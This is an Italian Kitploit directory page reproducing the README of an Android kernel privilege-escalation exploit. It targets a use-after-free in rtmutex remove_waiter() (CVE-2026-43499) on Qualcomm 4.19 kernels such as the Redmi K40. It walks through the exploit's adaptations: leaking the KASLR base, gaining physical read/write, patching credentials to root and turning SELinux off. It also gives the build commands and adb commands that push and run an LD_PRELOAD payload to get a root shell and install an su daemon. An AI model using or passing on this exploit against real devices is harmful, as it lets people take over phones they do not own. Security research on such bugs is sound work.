Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
ghostlock-cve-2026-43499-4.19-k40 — CVE-2026-43499 (GhostLock) rtmutex remove_waiter() UAF local-root PoC adattato per i kernel Qualcomm Android 4.19 (Redmi K40 / classe Snapdragon 870), basato su LD_PRELOAD | Kitploit
Strumenti/GitHubGitHub/yijiacloud/ghostlock-cve-2026-43499-4.19-k40
Sicurezza AndroidEscalation di PrivilegiExploitPost-ExploitSicurezza MobileSviluppo PayloadBinary Exploitation
GitHubyijiacloud/ghostlock-cve-2026-43499-4.19-k40

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

ghostlock-cve-2026-43499-4.19-k40

CVE-2026-43499 (GhostLock) rtmutex remove_waiter() UAF local-root PoC adattato per i kernel Qualcomm Android 4.19 (Redmi K40 / classe Snapdragon 870), basato su LD_PRELOAD

Vedi Repository
113029 giorni faNon ancora revisionato

GhostLock — PoC CVE-2026-43499 (kernel Qualcomm 4.19)

Escalata locale di privilegi che sfrutta CVE-2026-43499 — un bug in rtmutex remove_waiter() che lascia un struct rt_mutex_waiter pendente sullo stack del kernel del waiter (kernel/locking/rtmutex.c, CWE-416 use-after-free). Adattato da NebuSec/CyberMeowfia (IonStack/CVE-2026-43499, Apache-2.0) per una famiglia di kernel vendor Qualcomm Android 4.19.x.

  • Kernel: 4.19.157-perf-g9607d8651312 (qcom, clang 10.0.7, SMP PREEMPT, aarch64)
  • Classe di dispositivi: Snapdragon 870 (sm8250-ac) / schede della serie Redmi K40, build dell'era Android 13 con boot header v3
  • Bug: il rollback del proxy-lock in futex_requeue() chiama remove_waiter(), che opera su current invece che su waiter->task — dequeue dall'albero rb senza pi_lock, pi_blocked_on pendente, che porta a un UAF nello stack del kernel. Il problema è presente fino alle versioni corrette 5.10/5.15/6.1/6.6/6.12/6.18/7.0; 4.19 non ha backport (EOL), quindi 4.19.157-perf è vulnerabile.

Contenuto della repo

root@kitploit:~
src/                         adapted exploit sources (preload.so)
src/targets/oplus-4.19.157-perf/target.h   per-device offset table (kallsyms-derived)
prebuilt/                    compiled artifacts (aarch64)
adaptation-4.19.patch        full diff vs. the upstream Pixel (6.x) code
Makefile, build.sh           build entry points

Adattamenti round-2 per il kernel 4.19 (rispetto all'upstream 6.x)

  • configfs_read_file / configfs_write_bin_file sono inseriti negli slot fops .read/.write (firme 4.19), e la primitiva di lettura usa il layout semplificato del fake-buffer count/page/ppos=0
  • Il prefisso del nome ashmem (/dev/ashmem) è assente su questo kernel — lunghezza prefisso 0
  • Geometria kmalloc: 4.19 ha 3 tipi di cache (NORMAL/RECLAIM/DMA, senza cache per-memcg); il legacy array di buffer a 16 slot delle pipe finisce in kmalloc-1024
  • selinux_blob_sizes non esiste su 4.19 → accesso diretto a cred->security (SELINUX_CRED_BLOB_OFF=0); struct seccomp non ha filter_count
  • ASHMEM_MISC_FOPS = slot miscdevice.fops (ashmem_misc + 0x10)

Compilazione

Linux / WSL con Android NDK:

root@kitploit:~
export NDK_ROOT=/path/to/android-ndk-r27c
./build.sh                      # or: make PROJECT=oplus-4.19.157-perf

Output: prebuilt/preload.so (payload LD_PRELOAD) e un PIE su_daemon incorporato.

Utilizzo ADB (root one-shot)

Richiede una shell ADB (una normale adb shell senza privilegi è sufficiente — l'exploit viene eseguito interamente senza privilegi e si eleva da solo).

root@kitploit:~
# 1. push the payload
adb push prebuilt/preload.so /data/local/tmp/

# 2. run the exploit against any command (here: id) via LD_PRELOAD
adb shell LD_PRELOAD=/data/local/tmp/preload.so id

# expected on success: uid=0(root) gid=0(root) groups=...
# on failure the process exits 1 and the log below tells you where it stopped.

Varianti opzionali in una riga:

root@kitploit:~
# capture the exit status too
adb shell "LD_PRELOAD=/data/local/tmp/preload.so id; echo rc=\$?"

# interactive root shell (the exploit also installs an su daemon)
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/sh -c 'su -c id'"

Log di debug (sopravvive a panic/riavvio)

Ogni riga pr_* viene rispecchiata su disco con una write()+fsync() immediata, così la traccia sopravvive a un panic/riavvio del kernel:

root@kitploit:~
/sdcard/Download/log_<timestamp>.txt

Percorsi alternativi se /sdcard non è disponibile: /sdcard/Downloads, /data/local/tmp/log_<timestamp>.txt.

root@kitploit:~
# after the run (even after a reboot):
adb shell "ls -t /sdcard/Download/log_*.txt | head -1"
adb shell "cat $(adb shell 'ls -t /sdcard/Download/log_*.txt | head -1' | tr -d '\r')"

Marcatori chiave del log:

  • preload starting pid=... log=/sdcard/Download/log_<ts>.txt — payload caricato
  • slide-kaslr-ok ... base=... — base KASLR recuperata
  • pipe-physrw-summary ... root=1 ... — phys RW installato
  • uid_before=... uid_after=0 ... selinux=1->0 — credenziali patchate
  • su 4.19 il gadget dello slide stampa UNVERIFIED prima del suo primo tentativo — questa è la fase da calibrare per dispositivo usando questo log.

Note e limitazioni

  • La prima fase (leak dello slide KASLR) è calibrata per dispositivo; i valori che non possono essere derivati staticamente per 4.19 sono contrassegnati in target.h e registrati come UNVERIFIED a runtime. Iterare sul dispositivo usando il log con fsync.
  • CONFIG_STATIC_USERMODEHELPER=y su questa build disabilita i trucchi con il percorso modprobe; il percorso principale è la patch diretta di cred.
  • Verifica la correttezza degli offset sulla tua build esatta tramite i kallsyms del kernel (/proc/kallsyms) e /proc/slabinfo prima del deployment.

Licenza

Apache-2.0 (upstream: NebuSec/CyberMeowfia). Solo per ricerca sulla sicurezza e rooting autorizzato di dispositivi. Usare solo su hardware di propria proprietà.

Scarica lo strumento
  • Gli offset delle struct (task_struct / cred / pipe_inode_info / file_operations / mm_struct / struct page / configfs_buffer) sono stati ricalcolati dai kallsyms di questo kernel + ikheaders incorporati e validati contro la tabella di rilocazione RELA del kernel stesso.